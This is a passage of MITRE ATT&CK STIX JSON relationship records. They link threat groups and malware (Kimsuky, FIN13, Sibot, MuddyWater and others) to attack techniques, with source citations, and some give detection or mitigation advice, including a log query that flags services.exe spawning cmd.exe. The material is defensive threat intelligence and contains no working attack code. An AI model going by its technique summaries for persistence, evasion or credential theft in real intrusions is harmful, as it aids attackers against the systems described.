"relationship--df59e897-15ee-451c-8d6f-9d125e9c127d", "created": "2022-03-30T14:26:51.868Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-03-28T15:20:21.922Z", "description": "Monitor for newly executed processes that may abuse the Windows service control manager to execute malicious commands or payloads.\n\nEvents 4688 (Microsoft Windows Security Auditing) and 1 (Microsoft Windows Sysmon) provide context of Windows processes creation that can be used to implement this detection.\n\nThis detection is based on uncommon process and parent process relationships. Service Control Manager spawning command shell is a good starting point. Add more suspicious relationships based on the reality of your network environment.\n\nIn order to reduce false positives, you can also filter the CommandLine event field using parameters such as /c which carries out the command specified by the parent process.\n\nAnalytic 1 - Service Execution\n\n<code>(source=\"*WinEventLog:Microsoft-Windows-Sysmon/Operational\" EventCode=\"1\") OR (source=\"*WinEventLog:Security\" EventCode=\"4688\") | WHERE Image LIKE \"*services.exe\" AND Image LIKE \"*cmd.exe\"</code>", "relationship_type": "detects", "source_ref": "x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077", "target_ref": "attack-pattern--f1951e8a-500e-4a26-8803-76d95c4554b4", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df5bee66-b840-405e-b9d5-2e0ced2e6808", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "AlienVault Sykipot 2011", "description": "Blasco, J. (2011, December 12). Another Sykipot sample likely targeting US federal agencies. Retrieved March 28, 2016.", "url": "https://www.alienvault.com/open-threat-exchange/blog/another-sykipot-sample-likely-targeting-us-federal-agencies"}], "modified": "2020-03-16T19:10:49.075Z", "description": "[Sykipot](https://attack.mitre.org/software/S0018) injects itself into running instances of outlook.exe, iexplore.exe, or firefox.exe.(Citation: AlienVault Sykipot 2011)", "relationship_type": "uses", "source_ref": "malware--6a0ef5d4-fc7c-4dda-85d7-592e4dbdc5d9", "target_ref": "attack-pattern--f4599aa0-4f85-4a32-80ea-fc39dc965945", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df5d8477-81dd-482b-a435-749a68727c49", "type": "relationship", "created": "2022-03-15T19:56:31.115Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "KISA Operation Muzabi", "url": "https://www.boho.or.kr/krcert/publicationView.do?bulletin_writing_sequence=35936", "description": "KISA. (n.d.). Phishing Target Reconnaissance and Attack Resource Analysis Operation Muzabi. Retrieved March 7, 2022."}], "modified": "2022-03-15T19:56:31.115Z", "description": "[Kimsuky](https://attack.mitre.org/groups/G0094) has searched for vulnerabilities, tools, and geopolitical trends on Google to target victims.(Citation: KISA Operation Muzabi)", "relationship_type": "uses", "source_ref": "intrusion-set--0ec2f388-bf0f-4b5c-97b1-fc736d26c25f", "target_ref": "attack-pattern--6e561441-8431-4773-a9b8-ccf28ef6a968", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df5db6d7-a072-4d04-a638-843ac66234ef", "created": "2024-03-12T18:34:54.477Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge Part 2 January 2024", "description": "Lin, M. et al. (2024, January 31). Cutting Edge, Part 2: Investigating Ivanti Connect Secure VPN Zero-Day Exploitation. Retrieved February 27, 2024.", "url": "https://www.mandiant.com/resources/blog/investigating-ivanti-zero-day-exploitation"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-04-11T02:44:06.427Z", "description": "During [Cutting Edge](https://attack.mitre.org/campaigns/C0029), threat actors used a Base64-encoded Python script to write a patched version of the Ivanti Connect Secure `dsls` binary.(Citation: Mandiant Cutting Edge Part 2 January 2024)", "relationship_type": "uses", "source_ref": "campaign--4fdd2487-26c1-494e-8702-ec5abe9aa1d9", "target_ref": "attack-pattern--0d91b3c0-5e50-47c3-949a-2a796f04d144", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df69c29c-01c4-4541-988e-8a5765439d56", "type": "relationship", "created": "2017-05-31T21:33:27.070Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Kaspersky Poseidon Group", "description": "Kaspersky Lab's Global Research and Analysis Team. (2016, February 9). Poseidon Group: a Targeted Attack Boutique specializing in global cyber-espionage. Retrieved March 16, 2016.", "url": "https://securelist.com/poseidon-group-a-targeted-attack-boutique-specializing-in-global-cyber-espionage/73673/"}], "modified": "2020-03-18T15:34:54.767Z", "description": "[Poseidon Group](https://attack.mitre.org/groups/G0033) tools attempt to spoof anti-virus processes as a means of self-defense.(Citation: Kaspersky Poseidon Group)", "relationship_type": "uses", "source_ref": "intrusion-set--7ecc3b4f-5cdb-457e-b55a-df376b359446", "target_ref": "attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df6b68c8-17b5-45b9-8ad1-908c89074531", "created": "2023-07-28T17:57:04.398Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant FIN13 Aug 2022", "description": "Ta, V., et al. (2022, August 8). FIN13: A Cybercriminal Threat Actor Focused on Mexico. Retrieved February 9, 2023.", "url": "https://www.mandiant.com/resources/blog/fin13-cybercriminal-mexico"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-10-05T14:43:14.444Z", "description": "[FIN13](https://attack.mitre.org/groups/G1016) has replaced legitimate KeePass binaries with trojanized versions to collect passwords from numerous applications.(Citation: Mandiant FIN13 Aug 2022)  ", "relationship_type": "uses", "source_ref": "intrusion-set--fd66436e-4d33-450e-ac4c-f7810f1c85f4", "target_ref": "attack-pattern--f4c1826f-a322-41cd-9557-562100848c84", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--df6bb7e8-1971-4e8c-92cc-16727ac996dd", "created": "2022-06-15T14:58:57.309Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Kaspersky Lyceum October 2021", "url": "https://vblocalhost.com/uploads/VB2021-Kayal-etal.pdf", "description": "Kayal, A. et al. (2021, October). LYCEUM REBORN: COUNTERINTELLIGENCE IN THE MIDDLE EAST. Retrieved June 14, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "(Citation: Kaspersky Lyceum October 2021)", "modified": "2022-06-15T14:58:57.309Z", "relationship_type": "uses", "source_ref": "intrusion-set--f29b7c5e-2439-42ad-a86f-9f8984fafae3", "target_ref": "tool--afc079f3-c0ea-4096-b75d-3f05338b7f60", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df6c39fa-9d95-45ee-911b-0ca2fc167086", "type": "relationship", "created": "2018-10-17T00:14:20.652Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Symantec Tick Apr 2016", "description": "DiMaggio, J. (2016, April 28). Tick cyberespionage group zeros in on Japan. Retrieved July 16, 2018.", "url": "https://www.symantec.com/connect/blogs/tick-cyberespionage-group-zeros-japan"}], "modified": "2020-03-30T02:04:22.452Z", "description": "[Daserf](https://attack.mitre.org/software/S0187) hides collected data in password-protected .rar archives.(Citation: Symantec Tick Apr 2016)", "relationship_type": "uses", "source_ref": "malware--b6b3dfc7-9a81-43ff-ac04-698bad48973a", "target_ref": "attack-pattern--53ac20cd-aca3-406e-9aa0-9fc7fdc60a5a", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df6ec6c4-6ae9-4f54-a0fb-0937f5a3bf01", "created": "2023-08-17T17:07:35.134Z", "revoked": false, "external_references": [{"source_name": "Mandiant APT29 Eye Spy Email Nov 22", "description": "Mandiant. (2022, May 2). UNC3524: Eye Spy on Your Email. Retrieved August 17, 2023.", "url": "https://www.mandiant.com/resources/blog/unc3524-eye-spy-email"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-08-17T17:07:35.134Z", "description": "(Citation: Mandiant APT29 Eye Spy Email Nov 22)", "relationship_type": "uses", "source_ref": "intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542", "target_ref": "malware--4816d361-f82b-4a18-aa05-b215e7cf9200", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--df7d078e-48a9-4e3e-8dd5-389ca66575e9", "created": "2022-03-30T14:26:51.833Z", "x_mitre_version": "0.1", "x_mitre_deprecated": false, "revoked": false, "description": "Monitor for newly constructed services/daemons through Windows event logs for event IDs 4697 and 7045. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as remote logins or process creation events.", "modified": "2022-08-08T14:26:18.764Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "detects", "source_ref": "x-mitre-data-component--5297a638-1382-4f0c-8472-0d21830bf705", "target_ref": "attack-pattern--035bb001-ab69-4a0b-9f6c-2de8b09e1b9d", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--df7d9316-0cf4-4f20-9169-f4952478cc60", "created": "2021-11-12T21:12:02.332Z", "x_mitre_version": "1.0", "external_references": [{"source_name": "Trend Micro DRBControl February 2020", "url": "https://documents.trendmicro.com/assets/white_papers/wp-uncovering-DRBcontrol.pdf", "description": "Lunghi, D. et al. (2020, February). Uncovering DRBControl. Retrieved November 12, 2021."}], "x_mitre_deprecated": false, "revoked": false, "description": "The [Clambling](https://attack.mitre.org/software/S0660) dropper can use PowerShell to download the malware.(Citation: Trend Micro DRBControl February 2020)", "modified": "2022-04-15T14:08:28.395Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--6e95feb1-78ee-48d3-b421-4d76663b5c49", "target_ref": "attack-pattern--970a3432-3237-47ad-bcca-7d8cbb217736", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df7e5314-665b-44a3-8040-f6cb8fd28cbf", "type": "relationship", "created": "2020-05-21T14:55:00.329Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "TrendMicro Tropic Trooper May 2020", "url": "https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf", "description": "Chen, J.. (2020, May 12). Tropic Trooper\u2019s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}], "modified": "2020-05-21T14:55:00.329Z", "description": "[Tropic Trooper](https://attack.mitre.org/groups/G0081) has tested if the localhost network is available and other connection capability on an infected system using command scripts.(Citation: TrendMicro Tropic Trooper May 2020)\t", "relationship_type": "uses", "source_ref": "intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924", "target_ref": "attack-pattern--7e150503-88e7-4861-866b-ff1ac82c4475", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df7fb8f2-e7a6-4342-8d67-09655ceefead", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Cylance Shell Crew Feb 2017", "description": "Cylance SPEAR Team. (2017, February 9). Shell Crew Variants Continue to Fly Under Big AV\u2019s Radar. Retrieved February 15, 2017.", "url": "https://www.cylance.com/shell-crew-variants-continue-to-fly-under-big-avs-radar"}], "modified": "2020-03-19T22:02:48.994Z", "description": "[StreamEx](https://attack.mitre.org/software/S0142) has the ability to scan for security tools such as firewalls and antivirus tools.(Citation: Cylance Shell Crew Feb 2017)", "relationship_type": "uses", "source_ref": "malware--91000a8a-58cc-4aba-9ad0-993ad6302b86", "target_ref": "attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df82dc71-a168-4af3-9526-8449400777dc", "type": "relationship", "created": "2020-03-11T14:43:31.827Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-03-31T13:11:35.048Z", "description": "Use user training as a way to bring awareness to common phishing and spearphishing techniques and how to raise suspicion for potentially malicious events.", "relationship_type": "mitigates", "source_ref": "course-of-action--2a4f6c11-a4a7-4cb9-b0ef-6ae1bb3a718a", "target_ref": "attack-pattern--ef67e13e-5598-4adc-bdb2-998225874fa9", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df8350d6-a7a7-421d-a9e8-64d7e0cc0653", "type": "relationship", "created": "2017-12-14T16:46:06.044Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"url": "https://www.secureworks.com/research/bronze-union", "description": "Counter Threat Unit Research Team. (2017, June 27). BRONZE UNION Cyberespionage Persists Despite Disclosures. Retrieved July 13, 2017.", "source_name": "SecureWorks BRONZE UNION June 2017"}], "modified": "2019-07-14T21:15:55.075Z", "description": "[Threat Group-3390](https://attack.mitre.org/groups/G0027) has used WinRM to enable remote execution.(Citation: SecureWorks BRONZE UNION June 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--fb366179-766c-4a4a-afa1-52bff1fd601c", "target_ref": "attack-pattern--60d0c01d-e2bf-49dd-a453-f8a9c9fa6f65", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df891390-43d8-4201-aebc-51c20cae5897", "created": "2023-03-26T20:12:26.779Z", "revoked": false, "external_references": [{"source_name": "MSTIC NOBELIUM Mar 2021", "description": "Nafisi, R., Lelli, A. (2021, March 4). GoldMax, GoldFinder, and Sibot: Analyzing NOBELIUM\u2019s layered persistence. Retrieved March 8, 2021.", "url": "https://www.microsoft.com/security/blog/2021/03/04/goldmax-goldfinder-sibot-analyzing-nobelium-malware/"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2023-03-26T20:12:26.779Z", "description": "[Sibot](https://attack.mitre.org/software/S0589) has installed a second-stage script in the <code>HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\sibot</code> registry key.(Citation: MSTIC NOBELIUM Mar 2021)", "relationship_type": "uses", "source_ref": "malware--979adb5a-dc30-48f0-9e3d-9a26d866928c", "target_ref": "attack-pattern--02c5abff-30bf-4703-ab92-1f6072fae939", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df898edd-0829-4222-b50b-e7cbf75a0fb4", "type": "relationship", "created": "2020-12-23T19:17:53.351Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-259A Iran-Based Actor September 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-259a", "description": "CISA. (2020, September 15). Iran-Based Threat Actor Exploits VPN Vulnerabilities. Retrieved December 21, 2020."}], "modified": "2020-12-23T19:17:53.351Z", "description": "[Fox Kitten](https://attack.mitre.org/groups/G0117) has used sticky keys to launch a command prompt.(Citation: CISA AA20-259A Iran-Based Actor September 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--c21dd6f1-1364-4a70-a1f7-783080ec34ee", "target_ref": "attack-pattern--70e52b04-2a0c-4cea-9d18-7149f1df9dc5", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--df8d65b3-99f9-42fb-a6d6-09e0c3a00e08", "type": "relationship", "created": "2022-03-30T14:26:51.841Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2022-03-30T14:26:51.841Z", "description": "Monitor DLL/PE file events, specifically creation of these binary files as well as the loading of DLLs into processes. Look for DLLs that are not recognized or not normally loaded into a process.", "source_ref": "x-mitre-data-component--c0a4a086-cc20-4e1e-b7cb-29d99dfa3fb1", "target_ref": "attack-pattern--e64c62cf-9cd7-4a14-94ec-cdaac43ab44b", "relationship_type": "detects", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--df940d86-6586-429f-ae57-fe99da9e8edb", "created": "2022-10-04T20:28:03.865Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant UNC3890 Aug 2022", "description": "Mandiant Israel Research Team. (2022, August 17). Suspected Iranian Actor Targeting Israeli Shipping, Healthcare, Government and Energy Sectors. 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Retrieved December 7, 2017.", "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process"}]}, {"type": "relationship", "id": "relationship--dfaccd3c-398f-453e-8fa9-dad431bd2b0c", "created": "2024-03-05T19:45:20.148Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "revoked": false, "external_references": [{"source_name": "Mandiant Cutting Edge January 2024", "description": "McLellan, T. et al. (2024, January 12). Cutting Edge: Suspected APT Targets Ivanti Connect Secure VPN in New Zero-Day Exploitation. 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(2022, May 11). Bitter APT adds Bangladesh to their targets. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[ZxxZ](https://attack.mitre.org/software/S1013) can collect data from a compromised host.(Citation: Cisco Talos Bitter Bangladesh May 2022)", "modified": "2022-06-02T13:56:24.697Z", "relationship_type": "uses", "source_ref": "malware--97cfbdc6-504d-41e9-a46c-78a9f806ff0d", "target_ref": "attack-pattern--3c4a2599-71ee-4405-ba1e-0e28414b4bc5", "x_mitre_attack_spec_version": "2.1.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dfb4c7e9-e1af-4716-b658-9cfbadd706dc", "type": "relationship", "created": "2020-05-18T19:04:37.694Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Reaqta MuddyWater November 2017", "url": "https://reaqta.com/2017/11/muddywater-apt-targeting-middle-east/", "description": "Reaqta. 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Retrieved May 18, 2020."}], "modified": "2020-05-20T20:52:34.280Z", "description": "[MuddyWater](https://attack.mitre.org/groups/G0069) has used C2 infrastructure to receive exfiltrated data.(Citation: Reaqta MuddyWater November 2017)", "relationship_type": "uses", "source_ref": "intrusion-set--269e8108-68c6-4f99-b911-14b2e765dec2", "target_ref": "attack-pattern--92d7da27-2d91-488e-a00c-059dc162766d", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dfb8dd3b-3700-4708-a9ea-ddcc6b750705", "type": "relationship", "created": "2021-09-29T20:46:38.415Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "CISA AA20-239A BeagleBoyz August 2020", "url": "https://us-cert.cisa.gov/ncas/alerts/aa20-239a", "description": "DHS/CISA. (2020, August 26). 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Retrieved September 29, 2021."}], "modified": "2021-10-04T20:52:20.264Z", "description": "[APT38](https://attack.mitre.org/groups/G0082) has conducted spearphishing campaigns using malicious email attachments.(Citation: CISA AA20-239A BeagleBoyz August 2020)", "relationship_type": "uses", "source_ref": "intrusion-set--00f67a77-86a4-4adf-be26-1a54fc713340", "target_ref": "attack-pattern--2e34237d-8574-43f6-aace-ae2915de8597", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dfc19325-9b8a-4cb7-80fc-dedc2cf8742a", "type": "relationship", "created": "2020-06-24T16:55:46.408Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "modified": "2020-06-24T16:55:46.408Z", "relationship_type": "subtechnique-of", "source_ref": "attack-pattern--77532a55-c283-4cd2-bc5d-2d0b65e9d88c", "target_ref": "attack-pattern--3d333250-30e4-4a82-9edc-756c68afc529", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"type": "relationship", "id": "relationship--dfc90c30-4cc7-4f5f-8315-6a20c14696d9", "created": "2022-09-27T18:01:10.531Z", "revoked": false, "external_references": [{"source_name": "FoxIT Wocao December 2019", "description": "Dantzig, M. v., Schamper, E. (2019, December 19). Operation Wocao: Shining a light on one of China\u2019s hidden hacking groups. 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(2019, March 20). Fake or Fake: Keeping up with OceanLotus decoys. Retrieved April 1, 2019.", "url": "https://www.welivesecurity.com/2019/03/20/fake-or-fake-keeping-up-with-oceanlotus-decoys/", "source_name": "ESET OceanLotus Mar 2019"}, {"source_name": "FireEye APT32 May 2017", "description": "Carr, N.. (2017, May 14). Cyber Espionage is Alive and Well: APT32 and the Threat to Global Corporations. Retrieved June 18, 2017.", "url": "https://www.fireeye.com/blog/threat-research/2017/05/cyber-espionage-apt32.html"}, {"url": "https://cdn2.hubspot.net/hubfs/3354902/Cybereason%20Labs%20Analysis%20Operation%20Cobalt%20Kitty.pdf", "description": "Dahan, A. (2017). Operation Cobalt Kitty. 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Retrieved February 5, 2024.", "url": "https://www.mandiant.com/resources/blog/suspected-apt-actors-leverage-bypass-techniques-pulse-secure-zero-day"}], "object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "modified": "2024-02-09T20:33:21.135Z", "description": "[STEADYPULSE](https://attack.mitre.org/software/S1112) can parse web requests made to a targeted server to determine the next stage of execution.(Citation: Mandiant Pulse Secure Zero-Day April 2021)", "relationship_type": "uses", "source_ref": "malware--ca0fead6-5277-427a-825b-42ff1fbe476e", "target_ref": "attack-pattern--df8b2a25-8bdf-4856-953c-a04372b1c161", "x_mitre_deprecated": false, "x_mitre_version": "0.1", "x_mitre_attack_spec_version": "3.2.0", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "type": "relationship", "id": "relationship--dfcd4d41-11f4-4891-9e49-7a725ab18d1d", "created": "2022-06-02T13:18:55.848Z", "x_mitre_version": "0.1", "external_references": [{"source_name": "Cybereason PowerLess February 2022", "url": "https://www.cybereason.com/blog/research/powerless-trojan-iranian-apt-phosphorus-adds-new-powershell-backdoor-for-espionage", "description": "Cybereason Nocturnus. (2022, February 1). PowerLess Trojan: Iranian APT Phosphorus Adds New PowerShell Backdoor for Espionage. Retrieved June 1, 2022."}], "x_mitre_deprecated": false, "revoked": false, "description": "[PowerLess](https://attack.mitre.org/software/S1012) can use base64 and AES ECB decryption prior to execution of downloaded modules.(Citation: Cybereason PowerLess February 2022)", "modified": "2022-06-02T19:53:14.197Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "malware--35ee9bf3-264b-4411-8a8f-b58cec8f35e4", "target_ref": "attack-pattern--3ccef7ae-cb5e-48f6-8302-897105fbf55c", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dfcfd396-1c1f-42c0-ad12-da75d275ccc9", "type": "relationship", "created": "2021-03-03T18:57:21.383Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "Trend Micro Waterbear December 2019", "url": "https://www.trendmicro.com/en_us/research/19/l/waterbear-is-back-uses-api-hooking-to-evade-security-product-detection.html", "description": "Su, V. et al. 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Retrieved April 17, 2019."}], "x_mitre_deprecated": false, "revoked": false, "description": "[AdFind](https://attack.mitre.org/software/S0552) has the ability to query Active Directory for computers.(Citation: Red Canary Hospital Thwarted Ryuk October 2020)(Citation: FireEye FIN6 Apr 2019)(Citation: FireEye Ryuk and Trickbot January 2019)(Citation: Cybereason Bumblebee August 2022)", "modified": "2022-08-29T14:25:11.728Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "relationship_type": "uses", "source_ref": "tool--f59508a6-3615-47c3-b493-6676e1a39a87", "target_ref": "attack-pattern--e358d692-23c0-4a31-9eb6-ecc13a8d7735", "x_mitre_attack_spec_version": "2.1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dfea2d53-ecf8-4e01-9773-98d65c57bcc8", "type": "relationship", "created": "2020-08-17T14:49:06.275Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET InvisiMole June 2020", "url": "https://www.welivesecurity.com/wp-content/uploads/2020/06/ESET_InvisiMole.pdf", "description": "Hromcova, Z. and Cherpanov, A. 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Retrieved July 16, 2020."}], "modified": "2020-08-17T14:49:06.275Z", "description": "[InvisiMole](https://attack.mitre.org/software/S0260) can deliver trojanized versions of software and documents, relying on user execution.(Citation: ESET InvisiMole June 2020)", "relationship_type": "uses", "source_ref": "malware--47afe41c-4c08-485e-b062-c3bd209a1cce", "target_ref": "attack-pattern--232b7f21-adf9-4b42-b936-b9d6f7df856e", "x_mitre_version": "1.0", "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"}, {"object_marking_refs": ["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"], "id": "relationship--dfea8f12-5c47-4a11-a4ed-06d08192b9ab", "type": "relationship", "created": "2020-08-24T13:40:23.207Z", "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", "external_references": [{"source_name": "ESET PipeMon May 2020", "url": 